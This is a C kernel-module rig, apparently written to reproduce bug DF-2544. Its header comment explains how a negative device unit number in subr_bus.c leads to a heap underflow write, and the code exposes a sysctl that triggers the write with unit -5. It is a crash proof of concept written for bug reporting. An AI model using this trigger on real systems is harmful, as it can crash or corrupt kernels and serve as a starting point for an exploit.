DF-2544 / rig.c
/* * DF-2544 -- devclass_alloc_unit (kern/subr_bus.c:1067-1119) validates a * wired unit only for unit >= 0; a negative non-wildcard unit (< -1) * skips the table-grow branch and is returned as-is, and * devclass_add_device (:1141) then executes dc->devices[dev->unit] = dev * -- a write at a NEGATIVE array index (heap underflow), or a write near * NULL when dc->devices == NULL (fresh devclass). * * Rig: real device_add_child() with unit = -5 on a fresh devclass * (registered via a dummy driver), driven from a sysctl. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/bus.h> #include <sys/module.h> static int dfv2544_go(SYSCTL_HANDLER_ARGS); SYSCTL_PROC(_kern, OID_AUTO, dfv2544, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv2544_go, "I", "write 1 to trigger negative-unit device_add_child"); static device_method_t dfp44_methods[] = { DEVMETHOD_END }; static driver_t dfp44_driver = { "dfp44", dfp44_methods, 0 }; static devclass_t dfp44_devclass; DRIVER_MODULE(dfp44, nexus, dfp44_driver, dfp44_devclass, NULL, NULL); static int dfv2544_go(SYSCTL_HANDLER_ARGS) { int error, v = 0; device_t child, nexus; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; if (v != 1) return EINVAL; nexus = devclass_get_device(devclass_find("nexus"), 0); kprintf("dfv2544: nexus=%p, device_add_child(nexus, dfp44, -5)...\n", nexus); child = device_add_child(nexus, "dfp44", -5); kprintf("dfv2544: device_add_child returned %p (expected NULL " "or panic at dc->devices[-5] with devices==NULL)\n", child); return 0; } return sysctl_handle_int(oidp, &v, 0, req); } |